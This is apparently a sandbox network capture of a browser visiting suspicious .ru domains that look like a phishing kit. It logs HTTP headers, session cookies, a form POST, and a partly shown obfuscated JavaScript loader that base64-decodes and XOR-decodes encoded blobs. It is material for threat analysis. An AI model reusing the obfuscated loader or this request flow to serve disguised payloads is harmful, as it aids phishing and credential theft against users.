2025-03-21 06:03:10 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:11 UTC	637	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://zy7z.fmaymzjp.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:11 UTC	741	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:11 GMT Content-Type: image/png Content-Length: 937 Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate Etag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Cf-Ray: 923b3ea6ee5e41f2-EWR Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Set-Cookie: __cf_bm=YZEUHSCJI.rvONGdebKWfmJO1MU000AL0IFeHGUCrzo-1742536991-1.0.1.1-tGF_dPzqkBW7jSttPZrEbyV94IZ1P3IyoGH9RKQKEBPdFDbD5Ds8iX2XKa_xr_5ND5._2_7YzPKJj40FGJqY9Uk1HqQtlL0zSUM0ocNyFX0; HttpOnly; SameSite=None; Secure; Path=/; Domain=developers.cloudflare.com; Expires=Fri, 21 Mar 2025 06:33:11 GMT alt-svc: h3=":443"; ma=86400
2025-03-21 06:03:11 UTC	628	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-21 06:03:11 UTC	309	IN	Data Raw: 99 e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:12 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=YZEUHSCJI.rvONGdebKWfmJO1MU000AL0IFeHGUCrzo-1742536991-1.0.1.1-tGF_dPzqkBW7jSttPZrEbyV94IZ1P3IyoGH9RKQKEBPdFDbD5Ds8iX2XKa_xr_5ND5._2_7YzPKJj40FGJqY9Uk1HqQtlL0zSUM0ocNyFX0
2025-03-21 06:03:12 UTC	435	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:12 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 923b3eaaa81843c1-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 06:03:12 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-21 06:03:12 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:17 UTC	568	OUT	GET /jawari@d09yk9wv HTTP/1.1 Host: svh3dl.djktgj.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://zy7z.fmaymzjp.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zy7z.fmaymzjp.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:17 UTC	281	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: DYNAMIC CF-RAY: 923b3ec8bd4c0f91-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 06:03:17 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-21 06:03:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:17 UTC	1428	OUT	POST /mxnGiuCebjMBjUQRf6mDgo59rEscCBjf HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive Content-Length: 803 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9br7Kr498qc56bae sec-ch-ua-mobile: ?0 Accept: / Origin: https://zy7z.fmaymzjp.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkZtTE1aekpqWUZ1ZDg2SkxSMktLSlE9PSIsInZhbHVlIjoiWUJ0NFRMVytLSTJTNXRabFB6V1Jkb3VPR0FtOTRjWmtpRXd6S1Fpa0NXdVJxWVE1d3B5Q3Zsa083TnN1dmNvOEN2WDIvcnRnUEFtS3JaODVBZDdYTkVDRC83eU9NYU1BMG8rWGZ1Ui9zMjh0ZTQ2UzI4aXU4MW44QTdvQWI2czMiLCJtYWMiOiIwYzgzODM5MjRlMzFjMzNmZmYwNmNmZjI4ODEzMDE5MmNlYmJlNzAwMzEzY2VjN2RjMDViM2VhZjIyNTE5NzdhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdFRHpyQ242TmdybHNjbEV3a1YyMHc9PSIsInZhbHVlIjoibVlnSmVuL1FIOXRzUkNHK3QwMmpZa25IRlN1S0Jvekc5aXM4NVgraEJOWVZuVDlEeDdnZWZEaHpiOE8yYUR2dS9zSkVDS2FudXJZNU0xK0d4a1JHdXMxU2NySHRYWHY1NEVBaThLNElwSEVVbmZSWHlYUWZHN0dvSlZiL3QzOEQiLCJtYWMiOiI5YWYyZjQ4NjI2MzllMzgxOGU3YTA2NjM2ZWE5MWIwYzQ5NzUxZjllZjUxOGVjZWZmYzFkMzIyOGEzZWVhMjkzIiwidGFnIjoiIn0%3D
2025-03-21 06:03:17 UTC	803	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 39 62 72 37 4b 72 34 39 38 71 63 35 36 62 61 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 4c 41 38 62 69 55 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 39 62 72 37 4b 72 34 39 38 71 63 35 36 62 61 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 6d 4f 56 62 61 35 7a 45 47 6b 31 37 36 47 30 74 79 4c 77 49 30 74 6d 53 53 50 45 34 59 32 4d 6d 59 43 6d 44 68 76 32 51 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 39 62 72 Data Ascii: ------WebKitFormBoundary9br7Kr498qc56baeContent-Disposition: form-data; name="bltpg"LA8biU------WebKitFormBoundary9br7Kr498qc56baeContent-Disposition: form-data; name="sid"mOVba5zEGk176G0tyLwI0tmSSPE4Y2MmYCmDhv2Q------WebKitFormBoundary9br
2025-03-21 06:03:18 UTC	1183	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:18 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=my999%2FCwsO4hahic9Wc15Mzn8EfqM8WYLLGVoyxX%2BcwapCcMBvF8BrgYqos7UwlozelG%2F1Z%2F8FX7X5KW1JeBvMFnOSOxt2BTYAp66RURmlkTrkakNix2jFwAMNMzC3GccivT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8501&min_rtt=8492&rtt_var=3202&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=3143&delivery_rate=332554&cwnd=252&unsent_bytes=0&cid=bcadd8ba9832562d&ts=175&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkVqOW43clN3TlFxY3NsV3ZXQ1lYTlE9PSIsInZhbHVlIjoiTGNEUEZvMFlIelBuaEIzOEhoaDNHbVd0L0hIR1VZcmVqU2RHM1RXZ1ZUTXdoUGE3U0NON1VvcWtyeGx2eTBVOW53QWk2VFZ1cWpIQVk5NDl5R3hPTlZpQ3dGVUQxUVV1WU8zcDRYckNERWQyeWRJNGt4Q2xSdE1uOFU2ZFlvc0MiLCJtYWMiOiI3ZmU0ZjNhN2U0ODY2NGU2NzI4NmNkMzFkZDdiNGYzY2NlYTRhMGZkMjhkYzAxMzc1ZjdmNWJmY2VlYmQ1MDI2IiwidGFnIjoiIn0%3D; expires=Fri, 21-Mar-2025 08:03:18 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-21 06:03:18 UTC	791	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 70 69 63 31 52 30 51 30 64 61 62 55 46 51 62 57 34 7a 59 6d 56 32 55 56 4e 79 56 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 45 74 71 61 6c 6b 34 59 79 39 6d 55 54 6c 58 54 79 74 34 62 45 67 76 62 45 39 68 51 6b 38 31 4e 6d 64 76 61 45 74 6e 4f 47 68 71 4e 54 64 34 61 30 4e 76 52 54 4e 58 63 56 70 48 4b 33 4e 73 63 30 5a 36 65 44 42 42 53 6d 39 51 61 45 5a 61 55 32 6b 7a 56 45 39 6e 4f 44 68 34 5a 6b 35 6d 4e 30 6f 30 63 7a 68 6f 51 6b 56 50 64 58 42 42 51 30 70 44 56 6c 4a 30 56 57 68 34 55 46 68 45 5a 57 35 51 63 55 34 32 56 47 70 42 52 47 74 73 51 6c 42 79 54 55 39 32 65 6a 4a 51 56 48 49 7a 54 48 52 4f 57 43 39 4a 63 6d 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Impic1R0Q0dabUFQbW4zYmV2UVNyVkE9PSIsInZhbHVlIjoiNEtqalk4Yy9mUTlXTyt4bEgvbE9hQk81NmdvaEtnOGhqNTd4a0NvRTNXcVpHK3Nsc0Z6eDBBSm9QaEZaU2kzVE9nODh4Zk5mN0o0czhoQkVPdXBBQ0pDVlJ0VWh4UFhEZW5QcU42VGpBRGtsQlByTU92ejJQVHIzTHROWC9JcmY
2025-03-21 06:03:18 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-21 06:03:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:18 UTC	1484	OUT	GET /fIcaNduRepaS/ HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkVqOW43clN3TlFxY3NsV3ZXQ1lYTlE9PSIsInZhbHVlIjoiTGNEUEZvMFlIelBuaEIzOEhoaDNHbVd0L0hIR1VZcmVqU2RHM1RXZ1ZUTXdoUGE3U0NON1VvcWtyeGx2eTBVOW53QWk2VFZ1cWpIQVk5NDl5R3hPTlZpQ3dGVUQxUVV1WU8zcDRYckNERWQyeWRJNGt4Q2xSdE1uOFU2ZFlvc0MiLCJtYWMiOiI3ZmU0ZjNhN2U0ODY2NGU2NzI4NmNkMzFkZDdiNGYzY2NlYTRhMGZkMjhkYzAxMzc1ZjdmNWJmY2VlYmQ1MDI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Impic1R0Q0dabUFQbW4zYmV2UVNyVkE9PSIsInZhbHVlIjoiNEtqalk4Yy9mUTlXTyt4bEgvbE9hQk81NmdvaEtnOGhqNTd4a0NvRTNXcVpHK3Nsc0Z6eDBBSm9QaEZaU2kzVE9nODh4Zk5mN0o0czhoQkVPdXBBQ0pDVlJ0VWh4UFhEZW5QcU42VGpBRGtsQlByTU92ejJQVHIzTHROWC9JcmYiLCJtYWMiOiI4YzJkNGI0YTJiY2ZiNWFlMWZjZTJhMDhkZDE4NDE0OWI5MDZhMTY3YTI3YTk4OTVhN2RkZmQ2MzBmNmNhZTdkIiwidGFnIjoiIn0%3D
2025-03-21 06:03:18 UTC	1212	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lNZKkUmkBIaJT09OcmKUt2FcuHkgGrHN7bnvBQ6n2rJFinHzgmgE6f8poKf1uYcda8eOXh2eKQRXyp1cVAjx7oJ%2FlJtVUXiPb9p0%2BxtSmRMnUy1WE3xkJ0eabnf6PCh%2BZuC6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8508&min_rtt=8504&rtt_var=3198&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2381&delivery_rate=333411&cwnd=252&unsent_bytes=0&cid=c940486df52b10cc&ts=206&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlZpVGJEOHlVUSs0anJ6MzhCaEZVQ3c9PSIsInZhbHVlIjoiZ2Zjb0I2R3ZsbnRhRjVrazBpYmlJUTdoRWNwVktXNU5EaG4wVFRPeVZJWkptdnpHY3lnY2xZL2tJK3lVVXVZYkw1VThOdGYwd2J2SityeThObjc0YnIzV2lnL01kOFU2Q2hSWnV1K0gzOGtma0VucWxhaytSa2JDMlJxa3hnMlgiLCJtYWMiOiI2NWY3ODg2YWU1NWI5N2U5NDQ0YmU3ZjMyYjE5YTY1Y2QzNzc3OGMyODBmMzM4ZWJlZDE0NDMyMWRlNjI2MDMxIiwidGFnIjoiIn0%3D; expires=Fri, 21-Mar-2025 08:03:18 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-21 06:03:18 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 73 76 63 7a 59 34 56 6a 59 30 64 57 31 52 63 54 46 72 59 56 64 44 63 6e 46 6a 56 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 48 70 33 56 6b 39 30 64 6a 42 4f 5a 6e 46 4c 62 30 74 48 59 33 46 4f 54 54 56 6c 54 6a 42 74 5a 56 42 69 5a 56 55 35 65 69 39 73 65 54 41 32 54 43 74 30 57 55 4a 4b 55 55 31 4a 4e 6c 46 4f 53 56 56 32 63 6a 6c 7a 64 6d 35 69 55 55 64 53 4e 6b 4e 54 65 55 67 79 5a 6e 64 6c 5a 57 6c 70 52 6e 4e 6a 62 57 38 32 51 6d 64 51 4e 69 74 4b 63 47 4a 76 61 57 46 70 53 30 78 31 52 55 78 31 62 48 55 79 64 32 4e 46 54 30 78 32 62 56 42 76 61 57 56 30 51 55 6b 79 53 33 64 6d 5a 57 39 48 56 32 70 70 64 6e 68 31 55 6d 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IksvczY4VjY0dW1RcTFrYVdDcnFjV3c9PSIsInZhbHVlIjoiVHp3Vk90djBOZnFLb0tHY3FOTTVlTjBtZVBiZVU5ei9seTA2TCt0WUJKUU1JNlFOSVV2cjlzdm5iUUdSNkNTeUgyZndlZWlpRnNjbW82QmdQNitKcGJvaWFpS0x1RUx1bHUyd2NFT0x2bVBvaWV0QUkyS3dmZW9HV2ppdnh1Umo
2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 33 66 63 39 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 62 4a 69 7a 59 73 6e 71 5a 72 28 59 73 70 78 56 62 6a 4e 77 75 2c 20 73 54 77 74 67 79 62 52 4f 4d 29 20 7b 0d 0a 6c 65 74 20 79 5a 4a 51 5a 66 56 72 5a 50 20 3d 20 27 27 3b 0d 0a 59 73 70 78 56 62 6a 4e 77 75 20 3d 20 61 74 6f 62 28 59 73 70 78 56 62 6a 4e 77 75 29 3b 0d 0a 6c 65 74 20 4c 72 76 70 42 61 71 4a 4b 43 20 3d 20 73 54 77 74 67 79 62 52 4f 4d 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 59 73 70 78 56 62 6a 4e 77 75 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 79 5a 4a 51 5a 66 56 72 5a 50 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 59 73 70 78 56 62 6a 4e 77 75 2e 63 68 61 72 43 Data Ascii: 3fc9<script>function bJizYsnqZr(YspxVbjNwu, sTwtgybROM) {let yZJQZfVrZP = '';YspxVbjNwu = atob(YspxVbjNwu);let LrvpBaqJKC = sTwtgybROM.length;for (let i = 0; i < YspxVbjNwu.length; i++) { yZJQZfVrZP += String.fromCharCode(YspxVbjNwu.charC
2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 59 4f 31 51 58 41 51 6b 77 65 51 68 2f 45 42 46 42 4e 41 31 63 50 45 45 59 49 42 74 30 66 78 73 38 46 7a 42 6d 46 7a 30 44 42 55 49 2f 43 7a 73 61 52 78 67 4a 48 33 52 2f 46 7a 64 64 48 58 6c 79 50 51 34 54 57 54 51 6e 4c 52 56 57 43 77 30 4c 4a 58 38 51 4c 77 6b 64 63 67 42 35 41 77 56 34 59 77 30 44 49 77 63 4c 42 68 67 37 55 67 51 37 48 52 31 35 44 43 45 72 46 57 78 6a 49 51 63 57 41 53 45 67 48 43 35 36 45 43 77 63 44 6d 6b 75 43 69 68 77 5a 44 38 68 42 78 55 43 44 41 30 49 65 33 6f 53 58 69 55 64 63 67 4d 70 41 77 46 33 4e 43 63 74 46 56 59 4c 44 51 73 6c 55 79 6f 73 42 44 42 35 43 44 30 46 4b 33 52 6a 44 51 41 43 58 51 34 4e 43 44 68 58 46 41 49 44 4d 48 55 74 4b 53 34 4b 66 47 49 30 50 53 4e 57 49 33 77 63 64 32 64 68 56 77 55 4f 5a 53 30 70 42 44 Data Ascii: YO1QXAQkweQh/EBFBNA1cPEEYIBt0fxs8FzBmFz0DBUI/CzsaRxgJH3R/FzddHXlyPQ4TWTQnLRVWCw0LJX8QLwkdcgB5AwV4Yw0DIwcLBhg7UgQ7HR15DCErFWxjIQcWASEgHC56ECwcDmkuCihwZD8hBxUCDA0Ie3oSXiUdcgMpAwF3NCctFVYLDQslUyosBDB5CD0FK3RjDQACXQ4NCDhXFAIDMHUtKS4KfGI0PSNWI3wcd2dhVwUOZS0pBD
2025-03-21 06:03:18 UTC	1369	IN	Data Raw: 65 51 77 69 42 54 55 47 47 43 63 74 46 56 59 4c 42 6e 6f 4d 64 54 31 65 48 68 74 47 63 67 55 51 42 51 38 35 43 6a 6c 6c 58 53 41 67 47 7a 64 76 42 44 77 46 42 6d 6b 59 49 69 67 73 5a 42 34 50 4e 68 6f 42 47 42 6c 2f 4c 6c 55 36 43 51 41 4e 41 33 73 37 4c 67 56 67 5a 77 6f 70 5a 56 30 67 49 42 38 73 65 68 41 73 41 7a 42 6d 64 79 51 75 42 56 6f 6c 44 41 63 38 58 53 59 6a 48 44 64 53 45 41 55 4a 4d 55 5a 79 42 51 4d 42 64 7a 51 6e 4b 51 49 44 47 42 6c 2f 63 6e 6f 39 4c 42 63 4f 61 52 67 69 4b 43 78 6b 46 6a 51 35 44 6c 6b 6d 47 54 4a 79 66 52 41 46 57 52 42 67 4c 53 6b 44 41 58 63 30 44 51 4d 43 41 53 59 57 41 44 64 2f 46 44 51 47 4e 6e 6b 4d 49 67 55 31 42 68 67 49 50 54 38 47 42 68 38 36 46 6d 4a 68 50 43 59 43 58 48 4d 58 47 79 35 73 50 79 63 71 5a 46 59 Data Ascii: eQwiBTUGGCctFVYLBnoMdT1eHhtGcgUQBQ85CjllXSAgGzdvBDwFBmkYIigsZB4PNhoBGBl/LlU6CQANA3s7LgVgZwopZV0gIB8sehAsAzBmdyQuBVolDAc8XSYjHDdSEAUJMUZyBQMBdzQnKQIDGBl/cno9LBcOaRgiKCxkFjQ5DlkmGTJyfRAFWRBgLSkDAXc0DQMCASYWADd/FDQGNnkMIgU1BhgIPT8GBh86FmJhPCYCXHMXGy5sPycqZFY
